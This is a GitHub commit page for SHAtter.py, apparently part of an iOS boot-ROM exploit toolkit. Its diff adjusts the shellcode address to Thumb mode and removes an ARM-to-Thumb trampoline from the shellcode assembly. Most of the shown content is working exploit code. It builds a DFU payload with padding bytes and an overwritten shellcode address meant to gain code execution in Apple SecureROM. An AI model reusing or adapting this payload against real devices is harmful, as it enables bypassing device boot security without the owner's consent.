Skip to content

Commit

Permalink
SHAtter can use Thumb mode directly
Browse files Browse the repository at this point in the history
  • Loading branch information
axi0mX committed May 30, 2017
1 parent a3b3985 commit 6818953
Show file tree
Hide file tree
Showing 3 changed files with 1 addition and 6 deletions.
2 changes: 1 addition & 1 deletion SHAtter.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
import dfu

def generate_payload():
shellcode_address = 0x8402F1D8
shellcode_address = 0x8402F1D8 + 1
data = struct.pack('<4s2I92sI', 'DATA'[::-1], 12 + 96, 96, '\xF0' * 92, shellcode_address)
shsh = struct.pack('<4s2I', 'SHSH'[::-1], 12, 0)
cert = struct.pack('<4s2I', 'CERT'[::-1], 12, 0)
Expand Down
Binary file modified bin/SHAtter-shellcode.bin
Binary file not shown.
5 changes: 0 additions & 5 deletions src/SHAtter-shellcode.S
Original file line number Diff line number Diff line change
Expand Up @@ -40,11 +40,6 @@

_start: .global _start

.code 32
MOV R0, PC
ADD R0, R0, #5
BX R0 /* ARM -> Thumb trampoline */

.code 16
MOV R0, #0
LDR R1, =SECUREROM_ADDRESS
Expand Down

0 comments on commit 6818953

Please sign in to comment.